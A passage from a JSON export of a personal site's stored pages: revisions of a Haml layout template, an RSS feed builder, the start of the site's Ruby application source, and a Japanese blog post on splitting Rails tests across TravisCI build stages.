\"https://code.jquery.com/jquery-3.3.1.min.js\"}\r\n%script{:src =\u003e \"/search.coffee\"}\r\n\r\n%div#all\r\n ~@page.html(request)\r\n %hr\r\n %h4 Site Search\r\n %div\r\n %input#search\r\n #search_area\r\n -if Page.where(name: @page.name).order('id desc').count \u003e 1\r\n %h4 Update History of this content\r\n %div\r\n %ul\r\n -Page.where(name: @page.name).order('id desc').each_with_index do |p,i|\r\n %li.history\r\n - if i == 0\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}\"} \r\n %b #{p.created_at.gmtime} (Latest)\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}\"} #{p.created_at.gmtime} (Latest)\r\n - else\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}\r\n %b=p.created_at.gmtime\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}=p.created_at.gmtime\r\n \r\n:javascript\r\n if(location.protocol === \"http:\"){location.protocol = \"https:\"}\r\n if($('.history').length \u003e 3){$('.history').slice(3).hide();$('.history').last().after($('\u003cli\u003e').html($('\u003ca href=\"javascript:void(0)\"\u003emore...\u003c/a\u003e').click(function(){$('li.history').show();$(this).parent().remove()})))}\r\n if($(\"#created_at\").length == 1){\r\n $.getJSON(\"https://ssig33.com/api.ssig33.com/timestamp?name=\"+encodeURI('#{@page.name}') , function(data){\r\n var date\r\n date = new Date(Date.parse(data[\"created_at\"]))\r\n var created_at = date.toGMTString()\r\n date = new Date(Date.parse(data[\"updated_at\"]))\r\n var updated_at = date.toGMTString()\r\n if(created_at == updated_at){\r\n $(\"#created_at\").html(\"created at: \"+created_at)\r\n }else{\r\n $(\"#created_at\").html(\"created at: \"+created_at+\" updated at: \"+updated_at)\r\n }\r\n\r\n })\r\n }\r\n\u003clink rel=\"stylesheet\" href=\"//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.10.0/styles/atom-one-light.min.css\"\u003e\r\n\u003cscript src=\"//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.10.0/highlight.min.js\"\u003e\u003c/script\u003e\r\n:javascript\r\n if(location.hostname === 'diary.app.ssig33.com' \u0026\u0026 location.protocol === 'http:'){ location.protocol = 'https'}\r\n\r\n document.querySelector('input').value = localStorage.password;\r\n document.querySelector('form').addEventListener('submit', (e)=\u003e{\r\n localStorage.password = document.querySelector('input').value;\r\n });\r\n document.querySelectorAll('.highlight').forEach(function(div){\r\n let code = div.children[0];\r\n const lang = String(div.className.split(\"-\")[1]);\r\n code.className = lang\r\n hljs.highlightBlock(code);\r\n });\r\n\r\n\u003c!-- layout from Database --\u003e","created_at":"2018-09-18T02:22:16.000Z","updated_at":"2018-09-18T02:22:16.000Z"},{"id":3073,"name":"layout","body":"layout layout\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"https://code.jquery.com/jquery-3.3.1.min.js\"}\r\n%script{:src =\u003e \"/search.coffee\"}\r\n\r\n%div#all\r\n ~@page.html(request)\r\n %hr\r\n %h4 Site Search\r\n %div\r\n %input#search\r\n #search_area\r\n -if Page.where(name: @page.name).order('id desc').count \u003e 1\r\n %h4 Update History of this content\r\n %div\r\n %ul\r\n -Page.where(name: @page.name).order('id desc').each_with_index do |p,i|\r\n %li.history\r\n - if i == 0\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}\"} \r\n %b #{p.created_at.gmtime} (Latest)\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}\"} #{p.created_at.gmtime} (Latest)\r\n - else\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}\r\n %b=p.created_at.gmtime\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}=p.created_at.gmtime\r\n \r\n:javascript\r\n if(location.protocol === \"http:\"){location.protocol = \"https:\"}\r\n if($('.history').length \u003e 3){$('.history').slice(3).hide();$('.history').last().after($('\u003cli\u003e').html($('\u003ca href=\"javascript:void(0)\"\u003emore...\u003c/a\u003e').click(function(){$('li.history').show();$(this).parent().remove()})))}\r\n if($(\"#created_at\").length == 1){\r\n $.getJSON(\"https://ssig33.com/api.ssig33.com/timestamp?name=\"+encodeURI('#{@page.name}') , function(data){\r\n var date\r\n date = new Date(Date.parse(data[\"created_at\"]))\r\n var created_at = date.toGMTString()\r\n date = new Date(Date.parse(data[\"updated_at\"]))\r\n var updated_at = date.toGMTString()\r\n if(created_at == updated_at){\r\n $(\"#created_at\").html(\"created at: \"+created_at)\r\n }else{\r\n $(\"#created_at\").html(\"created at: \"+created_at+\" updated at: \"+updated_at)\r\n }\r\n\r\n })\r\n }\r\n\u003clink rel=\"stylesheet\" href=\"//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.10.0/styles/atom-one-light.min.css\"\u003e\r\n\u003cscript src=\"//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.10.0/highlight.min.js\"\u003e\u003c/script\u003e\r\n:javascript\r\n document.querySelectorAll('.highlight').forEach(function(div){\r\n let code = div.children[0];\r\n const lang = String(div.className.split(\"-\")[1]);\r\n code.className = lang\r\n hljs.highlightBlock(code);\r\n });\r\n\r\n\u003c!-- layout from Database --\u003e","created_at":"2018-09-18T02:22:50.000Z","updated_at":"2018-09-18T02:22:50.000Z"},{"id":3074,"name":"layout","body":"layout layout\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"https://code.jquery.com/jquery-3.3.1.min.js\"}\r\n%script{:src =\u003e \"/search.coffee\"}\r\n\r\n%div#all\r\n ~@page.html(request)\r\n %hr\r\n %h4 Site Search\r\n %div\r\n %input#search\r\n #search_area\r\n -if Page.where(name: @page.name).order('id desc').count \u003e 1\r\n %h4 Update History of this content\r\n %div\r\n %ul\r\n -Page.where(name: @page.name).order('id desc').each_with_index do |p,i|\r\n %li.history\r\n - if i == 0\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}\"} \r\n %b #{p.created_at.gmtime} (Latest)\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}\"} #{p.created_at.gmtime} (Latest)\r\n - else\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}\r\n %b=p.created_at.gmtime\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}=p.created_at.gmtime\r\n \r\n:javascript\r\n if(location.protocol === \"http:\"){location.protocol = \"https:\"}\r\n if($('.history').length \u003e 3){$('.history').slice(3).hide();$('.history').last().after($('\u003cli\u003e').html($('\u003ca href=\"javascript:void(0)\"\u003emore...\u003c/a\u003e').click(function(){$('li.history').show();$(this).parent().remove()})))}\r\n if($(\"#created_at\").length == 1){\r\n $.getJSON(\"https://ssig33.com/api.ssig33.com/timestamp?name=\"+encodeURI('#{@page.name}') , function(data){\r\n var date\r\n date = new Date(Date.parse(data[\"created_at\"]))\r\n var created_at = date.toGMTString()\r\n date = new Date(Date.parse(data[\"updated_at\"]))\r\n var updated_at = date.toGMTString()\r\n if(created_at == updated_at){\r\n $(\"#created_at\").html(\"created at: \"+created_at)\r\n }else{\r\n $(\"#created_at\").html(\"created at: \"+created_at+\" updated at: \"+updated_at)\r\n }\r\n\r\n })\r\n }\r\n\u003clink rel=\"stylesheet\" href=\"//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.10.0/styles/atom-one-light.min.css\"\u003e\r\n\u003cscript src=\"//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.10.0/highlight.min.js\"\u003e\u003c/script\u003e\r\n:javascript\r\n document.querySelectorAll('pre code').forEach((n)=\u003e hljs.highlightBlock(n))\r\n\u003c!-- layout from Database --\u003e","created_at":"2018-09-18T02:24:24.000Z","updated_at":"2018-09-18T02:24:24.000Z"},{"id":3076,"name":"text/distributed_test_on_TravisCI","body":"%blog% TravisCI で粗雑にテストを分割実行する\r\n\r\nテストの分割実行というのは昔からあるテーマで、国内だと cookpad さんの [rrrspec](https://github.com/cookpad/rrrspec) は長期間安定して運用し成功している事例として知られています。\r\n\r\nただこれらのプロダクトは導入も運用もめんどくさく、もうちょっと簡単にテストを分割実行したいと僕は前から考えていました。\r\n\r\nそこで AWS CodeBuild について以前から注目して導入の検証なども行ないましたが、例えば自分が退職したとかいきなり爆死したとかなった時に今いる会社の残ったメンバーでそれをメンテし続けることは、いやまあ不可能ではないんでしょうけど負担が大きいと言わざるを得ないと判断しました。\r\n\r\nGoogle CodeBuild は AWS CodeBuild よりも実用性が高そうと思ってやっていけるか考えていますが結論がでるのにあと 600 時間ぐらいはかかりそうです。\r\n\r\nこうなると TravisCI などを使いつつそこそこの並列度でテストを実行する必要があります。そこで僕はユビレジという会社で以下のような革新的な技法を導入しました。実際に運用されている設定、コードの断片をご覧ください。\r\n\r\nRakefile には以下のように書いています。\r\n\r\n``` ruby\r\n (1..3).each do |i|\r\n task :\"features_#{i}\" do\r\n Dir.glob(\"#{Rails.root}/features/**/*.feature\").sort_by{|x| File::Stat.new(x).size }.reject.with_index{|x,i2| i2 % 3 == i-1 }.each(\u0026FileUtils.method(:rm))\r\n sh \"./bin/rake parallel:features:with_retry\"\r\n end\r\n end\r\n\r\n\r\n (1..3).each do |i|\r\n task :\"test_#{i}\" do\r\n Dir.glob(\"#{Rails.root}/test/**/*_test.rb\").reject{|x| x =~ /test\\/support/ }.reject.with_index{|x,i2| i2 % 3 == i - 1}.each(\u0026FileUtils.method(:rm))\r\n sh \"./bin/rake parallel:test\"\r\n end\r\n end\r\n```\r\n\r\n.travis.yml のほうは以下のようになっています\r\n\r\n``` yaml\r\njobs:\r\n include:\r\n - stage: setup\r\n install: skip\r\n env:\r\n - PARALLEL_TEST_PROCESSORS=4 \r\n script: \r\n - make setup\r\n - stage: test\r\n env: \r\n - PARALLEL_TEST_PROCESSORS=4 \r\n - TEST_SUITE=\"parallel:test_1\"\r\n script:\r\n - make test\r\n - stage: test\r\n env: \r\n - PARALLEL_TEST_PROCESSORS=4 \r\n - TEST_SUITE=\"parallel:test_2\"\r\n script:\r\n - make test\r\n - stage: test\r\n env: \r\n - PARALLEL_TEST_PROCESSORS=4 \r\n - TEST_SUITE=\"parallel:test_3\"\r\n script:\r\n - make test\r\n - stage: test\r\n env:\r\n - PARALLEL_TEST_PROCESSORS=3 \r\n - TEST_SUITE=\"parallel:features_1\"\r\n script:\r\n - make test\r\n - stage: test\r\n env: \r\n - PARALLEL_TEST_PROCESSORS=3 \r\n - TEST_SUITE=\"parallel:features_2\"\r\n script:\r\n - make test\r\n - stage: test\r\n env:\r\n - PARALLEL_TEST_PROCESSORS=3 \r\n - TEST_SUITE=\"parallel:features_3\"\r\n script:\r\n - make test\r\n```\r\n\r\nもうこれ出オチに近いんですが要点を一つ解説しておきます。このような方法でテスト実行の並列度を上げると当然依存ライブラリとかデータベースとか JavaScript のコンパイルとかのセットアップフェーズの時間が無駄になってきます。\r\n\r\nこれをどうにかする必要があるのですが、 TravisCI には [Build Stages](https://docs.travis-ci.com/user/build-stages) という機能があり、ここにいろいろと押し込んでおくと楽です。\r\n\r\nここでは assets:precompile の結果と gem install の結果と ./bin/rails db:setup の結果を mysqldump したものを tar にまとめて s3 に渡すという形で setup フェーズと test フェーズの間で成果物を受け渡すようにしています。\r\n\r\nCircleCI の pipeline とかだとこの辺の仕組みもうちょっとマシだったりするんでしょうか。 Docker イメージ経由でやり取りする感じ?このへんはよく知りません。\r\n\r\n誰でも一目みれば分かる単純な仕組みでそこそこにテストを分散して実行できるのでオススです。","created_at":"2018-09-18T02:29:02.000Z","updated_at":"2018-09-18T02:29:02.000Z"},{"id":3077,"name":"text/distributed_test_on_TravisCI","body":"%blog% TravisCI で粗雑にテストを分割実行する\r\n\r\nテストの分割実行というのは昔からあるテーマで、国内だと cookpad さんの [rrrspec](https://github.com/cookpad/rrrspec) は長期間安定して運用し成功している事例として知られています。\r\n\r\nただこれらのプロダクトは導入も運用もめんどくさく、もうちょっと簡単にテストを分割実行したいと僕は前から考えていました。\r\n\r\nそこで AWS CodeBuild について以前から注目して導入の検証なども行ないましたが、例えば自分が退職したとかいきなり爆死したとかなった時に今いる会社の残ったメンバーでそれをメンテし続けることは、いやまあ不可能ではないんでしょうけど負担が大きいと言わざるを得ないと判断しました。\r\n\r\nGoogle CodeBuild は AWS CodeBuild よりも実用性が高そうと思ってやっていけるか考えていますが結論がでるのにあと 600 時間ぐらいはかかりそうです。\r\n\r\nこうなると TravisCI などを使いつつそこそこの並列度でテストを実行する必要があります。そこで僕はユビレジという会社で以下のような革新的な技法を導入しました。実際に運用されている設定、コードの断片をご覧ください。\r\n\r\nRakefile には以下のように書いています。\r\n\r\n``` ruby\r\n (1..3).each do |i|\r\n task :\"features_#{i}\" do\r\n Dir.glob(\"#{Rails.root}/features/**/*.feature\").sort_by{|x| File::Stat.new(x).size }.reject.with_index{|x,i2| i2 % 3 == i-1 }.each(\u0026FileUtils.method(:rm))\r\n sh \"./bin/rake parallel:features:with_retry\"\r\n end\r\n end\r\n\r\n\r\n (1..3).each do |i|\r\n task :\"test_#{i}\" do\r\n Dir.glob(\"#{Rails.root}/test/**/*_test.rb\").reject{|x| x =~ /test\\/support/ }.reject.with_index{|x,i2| i2 % 3 == i - 1}.each(\u0026FileUtils.method(:rm))\r\n sh \"./bin/rake parallel:test\"\r\n end\r\n end\r\n```\r\n\r\n.travis.yml のほうは以下のようになっています\r\n\r\n``` yaml\r\njobs:\r\n include:\r\n - stage: setup\r\n install: skip\r\n env:\r\n - PARALLEL_TEST_PROCESSORS=4 \r\n script: \r\n - make setup\r\n - stage: test\r\n env: \r\n - PARALLEL_TEST_PROCESSORS=4 \r\n - TEST_SUITE=\"parallel:test_1\"\r\n script:\r\n - make test\r\n - stage: test\r\n env: \r\n - PARALLEL_TEST_PROCESSORS=4 \r\n - TEST_SUITE=\"parallel:test_2\"\r\n script:\r\n - make test\r\n - stage: test\r\n env: \r\n - PARALLEL_TEST_PROCESSORS=4 \r\n - TEST_SUITE=\"parallel:test_3\"\r\n script:\r\n - make test\r\n - stage: test\r\n env:\r\n - PARALLEL_TEST_PROCESSORS=3 \r\n - TEST_SUITE=\"parallel:features_1\"\r\n script:\r\n - make test\r\n - stage: test\r\n env: \r\n - PARALLEL_TEST_PROCESSORS=3 \r\n - TEST_SUITE=\"parallel:features_2\"\r\n script:\r\n - make test\r\n - stage: test\r\n env:\r\n - PARALLEL_TEST_PROCESSORS=3 \r\n - TEST_SUITE=\"parallel:features_3\"\r\n script:\r\n - make test\r\n```\r\n\r\nもうこれ出オチに近いんですが要点を一つ解説しておきます。このような方法でテスト実行の並列度を上げると当然依存ライブラリとかデータベースとか JavaScript のコンパイルとかのセットアップフェーズの時間が無駄になってきます。\r\n\r\nこれをどうにかする必要があるのですが、 TravisCI には [Build Stages](https://docs.travis-ci.com/user/build-stages) という機能があり、ここにいろいろと押し込んでおくと楽です。\r\n\r\nここでは assets:precompile の結果と gem install の結果と ./bin/rails db:setup の結果を mysqldump したものを tar にまとめて s3 に渡すという形で setup フェーズと test フェーズの間で成果物を受け渡すようにしています。\r\n\r\nCircleCI の pipeline とかだとこの辺の仕組みもうちょっとマシだったりするんでしょうか。 Docker イメージ経由でやり取りする感じ?このへんはよく知りません。\r\n\r\n誰でも一目みれば分かる単純な仕組みでそこそこにテストを分散して実行できるのでオススメです。","created_at":"2018-09-18T02:46:10.000Z","updated_at":"2018-09-18T02:46:10.000Z"},{"id":3078,"name":"layout","body":"layout layout\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"https://code.jquery.com/jquery-3.3.1.min.js\"}\r\n%script{:src =\u003e \"/search.coffee\"}\r\n\u003clink rel=\"author\" href=\"http://www.hatena.ne.jp/ssig33/\" /\u003e\r\n\r\n\r\n%div#all\r\n ~@page.html(request)\r\n %hr\r\n %h4 Site Search\r\n %div\r\n %input#search\r\n #search_area\r\n -if Page.where(name: @page.name).order('id desc').count \u003e 1\r\n %h4 Update History of this content\r\n %div\r\n %ul\r\n -Page.where(name: @page.name).order('id desc').each_with_index do |p,i|\r\n %li.history\r\n - if i == 0\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}\"} \r\n %b #{p.created_at.gmtime} (Latest)\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}\"} #{p.created_at.gmtime} (Latest)\r\n - else\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}\r\n %b=p.created_at.gmtime\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}=p.created_at.gmtime\r\n \r\n:javascript\r\n if(location.protocol === \"http:\"){location.protocol = \"https:\"}\r\n if($('.history').length \u003e 3){$('.history').slice(3).hide();$('.history').last().after($('\u003cli\u003e').html($('\u003ca href=\"javascript:void(0)\"\u003emore...\u003c/a\u003e').click(function(){$('li.history').show();$(this).parent().remove()})))}\r\n if($(\"#created_at\").length == 1){\r\n $.getJSON(\"https://ssig33.com/api.ssig33.com/timestamp?name=\"+encodeURI('#{@page.name}') , function(data){\r\n var date\r\n date = new Date(Date.parse(data[\"created_at\"]))\r\n var created_at = date.toGMTString()\r\n date = new Date(Date.parse(data[\"updated_at\"]))\r\n var updated_at = date.toGMTString()\r\n if(created_at == updated_at){\r\n $(\"#created_at\").html(\"created at: \"+created_at)\r\n }else{\r\n $(\"#created_at\").html(\"created at: \"+created_at+\" updated at: \"+updated_at)\r\n }\r\n\r\n })\r\n }\r\n\u003clink rel=\"stylesheet\" href=\"//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.10.0/styles/atom-one-light.min.css\"\u003e\r\n\u003cscript src=\"//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.10.0/highlight.min.js\"\u003e\u003c/script\u003e\r\n:javascript\r\n document.querySelectorAll('pre code').forEach((n)=\u003e hljs.highlightBlock(n))\r\n\u003c!-- layout from Database --\u003e","created_at":"2019-04-12T03:00:39.000Z","updated_at":"2019-04-12T03:00:39.000Z"},{"id":3079,"name":"layout","body":"layout layout\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"https://code.jquery.com/jquery-3.3.1.min.js\"}\r\n%script{:src =\u003e \"/search.coffee\"}\r\n%link{rel: \"author\", href: \"http://www.hatena.ne.jp/ssig33/\"}\r\n\r\n\r\n%div#all\r\n ~@page.html(request)\r\n %hr\r\n %h4 Site Search\r\n %div\r\n %input#search\r\n #search_area\r\n -if Page.where(name: @page.name).order('id desc').count \u003e 1\r\n %h4 Update History of this content\r\n %div\r\n %ul\r\n -Page.where(name: @page.name).order('id desc').each_with_index do |p,i|\r\n %li.history\r\n - if i == 0\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}\"} \r\n %b #{p.created_at.gmtime} (Latest)\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}\"} #{p.created_at.gmtime} (Latest)\r\n - else\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}\r\n %b=p.created_at.gmtime\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}=p.created_at.gmtime\r\n \r\n:javascript\r\n if(location.protocol === \"http:\"){location.protocol = \"https:\"}\r\n if($('.history').length \u003e 3){$('.history').slice(3).hide();$('.history').last().after($('\u003cli\u003e').html($('\u003ca href=\"javascript:void(0)\"\u003emore...\u003c/a\u003e').click(function(){$('li.history').show();$(this).parent().remove()})))}\r\n if($(\"#created_at\").length == 1){\r\n $.getJSON(\"https://ssig33.com/api.ssig33.com/timestamp?name=\"+encodeURI('#{@page.name}') , function(data){\r\n var date\r\n date = new Date(Date.parse(data[\"created_at\"]))\r\n var created_at = date.toGMTString()\r\n date = new Date(Date.parse(data[\"updated_at\"]))\r\n var updated_at = date.toGMTString()\r\n if(created_at == updated_at){\r\n $(\"#created_at\").html(\"created at: \"+created_at)\r\n }else{\r\n $(\"#created_at\").html(\"created at: \"+created_at+\" updated at: \"+updated_at)\r\n }\r\n\r\n })\r\n }\r\n\u003clink rel=\"stylesheet\" href=\"//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.10.0/styles/atom-one-light.min.css\"\u003e\r\n\u003cscript src=\"//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.10.0/highlight.min.js\"\u003e\u003c/script\u003e\r\n:javascript\r\n document.querySelectorAll('pre code').forEach((n)=\u003e hljs.highlightBlock(n))\r\n\u003c!-- layout from Database --\u003e","created_at":"2019-04-12T03:02:26.000Z","updated_at":"2019-04-12T03:02:26.000Z"},{"id":3080,"name":"feed","body":"builder Recent Update\r\n# vim: set ft=ruby:\r\nxml.instruct!\r\nxml.rss :version =\u003e \"2.0\" do\r\n xml.channel do\r\n xml.title \"ssig33.com - recent update\"\r\n xml.description \"ssig33's web site\"\r\n xml.link \"http://ssig33.com\"\r\n posts = []\r\n JSON.parse(open(\"https://diary.app.ssig33.com/api\").read).each do |diary|\r\n xml.item do\r\n xml.title diary[\"body\"].split(\"\\n\")[0]\r\n xml.link \"http://diary.app.ssig33.com/#{diary[\"id\"]}\"\r\n xml.description diary[\"body\"]\r\n xml.pubDate Time.parse(diary[\"created_at\"]).rfc822()\r\n xml.guid \"http://diary.app.ssig33.com/#{diary[\"id\"]}\"\r\n end\r\n end\r\n Page.order(\"created_at desc\").limit(150).each{|p|\r\n next if p.name =~ /^text$|radar|.js$|^feed$|^recent$|^index$|source\\/app.rb/\r\n flag = true\r\n posts.each{|t|\r\n flag = false if t.name == p.name\r\n }\r\n posts \u003c\u003c p if flag\r\n }\r\n posts.each do |post|\r\n xml.item do\r\n xml.title post.title\r\n xml.link \"http://ssig33.com/#{post.name}\"\r\n xml.description post.html(request)\r\n xml.pubDate Time.parse(post.created_at.to_s).rfc822()\r\n xml.guid \"http://ssig33.com/#{post.name}\"\r\n end\r\n end\r\n end\r\nend","created_at":"2019-05-16T08:26:30.000Z","updated_at":"2019-05-16T08:26:30.000Z"},{"id":3081,"name":"feed","body":"builder Recent Update\r\n# vim: set ft=ruby:\r\nxml.instruct!\r\nxml.rss :version =\u003e \"2.0\" do\r\n xml.channel do\r\n xml.title \"ssig33.com - recent update\"\r\n xml.description \"ssig33's web site\"\r\n xml.link \"http://ssig33.com\"\r\n posts = []\r\n JSON.parse(open(\"https://diary.app.ssig33.com/api\").read).each do |diary|\r\n xml.item do\r\n xml.title diary[\"body\"].split(\"\\n\")[0]\r\n xml.link \"http://diary.app.ssig33.com/#{diary[\"id\"]}\"\r\n xml.description diary[\"body\"]\r\n xml.pubDate Time.parse(diary[\"created_at\"]).rfc822()\r\n xml.guid \"http://diary.app.ssig33.com/#{diary[\"id\"]}\"\r\n end\r\n end\r\n Page.order(\"created_at desc\").limit(150).each{|p|\r\n next if p.name =~ /^text$|radar|.js$|^feed$|^recent$|^index$|source\\/app.rb/\r\n flag = true\r\n posts.each{|t|\r\n flag = false if t.name == p.name\r\n }\r\n posts \u003c\u003c p if flag\r\n }\r\n posts.each do |post|\r\n xml.item do\r\n xml.title post.title\r\n xml.link \"http://ssig33.com/#{post.name}\"\r\n xml.description post.html(request)\r\n xml.pubDate Time.parse(post.created_at.to_s).rfc822()\r\n xml.guid \"http://ssig33.com/#{post.name}\"\r\n end\r\n end\r\n end\r\nend","created_at":"2019-05-16T08:26:54.000Z","updated_at":"2019-05-16T08:26:54.000Z"},{"id":3082,"name":"feed","body":"builder Recent Update\r\n# vim: set ft=ruby:\r\nxml.instruct!\r\nxml.rss :version =\u003e \"2.0\" do\r\n xml.channel do\r\n xml.title \"ssig33.com - recent update\"\r\n xml.description \"ssig33's web site\"\r\n xml.link \"http://ssig33.com\"\r\n posts = []\r\n JSON.parse(open(\"https://diary-api.ssig33.com/api\").read).each do |diary|\r\n xml.item do\r\n xml.title diary[\"body\"].split(\"\\n\")[0]\r\n xml.link \"http://diary.app.ssig33.com/#{diary[\"id\"]}\"\r\n xml.description diary[\"body\"]\r\n xml.pubDate Time.parse(diary[\"created_at\"]).rfc822()\r\n xml.guid \"http://diary.app.ssig33.com/#{diary[\"id\"]}\"\r\n end\r\n end\r\n Page.order(\"created_at desc\").limit(150).each{|p|\r\n next if p.name =~ /^text$|radar|.js$|^feed$|^recent$|^index$|source\\/app.rb/\r\n flag = true\r\n posts.each{|t|\r\n flag = false if t.name == p.name\r\n }\r\n posts \u003c\u003c p if flag\r\n }\r\n posts.each do |post|\r\n xml.item do\r\n xml.title post.title\r\n xml.link \"http://ssig33.com/#{post.name}\"\r\n xml.description post.html(request)\r\n xml.pubDate Time.parse(post.created_at.to_s).rfc822()\r\n xml.guid \"http://ssig33.com/#{post.name}\"\r\n end\r\n end\r\n end\r\nend","created_at":"2020-01-30T09:19:07.000Z","updated_at":"2020-01-30T09:19:07.000Z"},{"id":3083,"name":"source/app.rb","body":"raw\r\n# vim:set syntax=ruby:\r\nrequire \"msgpack\"\r\nrequire 'digest/md5'\r\nrequire 'fileutils'\r\nrequire 'open-uri'\r\n\r\n\r\nclass SearchIndex \u003c ActiveRecord::Base\r\nend\r\n\r\nclass Page \u003c ActiveRecord::Base\r\n def blog str\r\n text = \u003c\u003cEOS\r\n# [ssig33.com](/)\r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n## #{self.blogtitle}\r\nEOS\r\n str.sub(/%blog%.*\\n/, text)+\"\\n\\n [back to index of texts](/text)\"\r\n end\r\n \r\n def blogtitle\r\n if self.body.split(\"\\n\").first =~ /%blog%\\ .*/\r\n self.body.split(\"\\n\").first.sub(/%blog%\\ /, '')\r\n else\r\n self.name.sub(/^.*?\\//, '')\r\n end\r\n end\r\n \r\n def html request\r\n if self.body.split(\"\\n\").last == \"subdomain only\"\r\n a = self.body.split(\"\\n\")\r\n a.pop\r\n self.body = a.join(\"\\n\")\r\n end\r\n case self.body.split(\"\\n\").first \r\n when /^haml/\r\n return self.haml request\r\n when /^coffee/\r\n return self.coffee\r\n when /^ruby/\r\n str = \"\"\r\n when /^title/\r\n str = \"\"\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n else\r\n str = self.body\r\n end\r\n str = self.blog(str) if str =~ /%blog%/\r\n Redcarpet::Markdown.new(Redcarpet::Render::HTML, autolink: true, fenced_code_blocks: true, tables: true).render(str) \r\n end\r\n\r\n def title\r\n case self.body.split(\"\\n\").first\r\n when /title/\r\n str = self.body.split(\"\\n\").shift.split(\"title\\ \").last\r\n when /%blog%/\r\n str = self.blogtitle\r\n when /haml/\r\n str = self.body.split(\"\\n\").shift.split(\"haml\\ \").last\r\n when /builder/\r\n str = self.body.split(\"\\n\").shift.split(\"builder\\ \").last\r\n when /coffee/\r\n str = self.body.split(\"\\n\").shift.split(\"coffee\\ \").last\r\n when /ruby/\r\n str = self.body.split(\"\\n\").shift.split(\"ruby\\ \").last\r\n else\r\n str = self.name\r\n end\r\n str.chomp!\r\n str = self.name if str == nil or str == \"\" or str == \"haml\"\r\n str.gsub(/=created_at=/, self.created_at.getutc.to_s)\r\n end\r\n\r\n def raw\r\n ary = self.body.split(\"\\n\")\r\n ary.pop if ary.last == 'subdomain only'\r\n ary.shift\r\n if ary.first =~ /^mime/\r\n mime = ary.shift.split(\" \").last\r\n else\r\n mime = \"text\"\r\n end\r\n return ary.join(\"\\n\"), mime\r\n end\r\n \r\n def haml request\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n Haml::Engine.new(str).render\r\n end\r\n\r\n def ruby request, env\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n 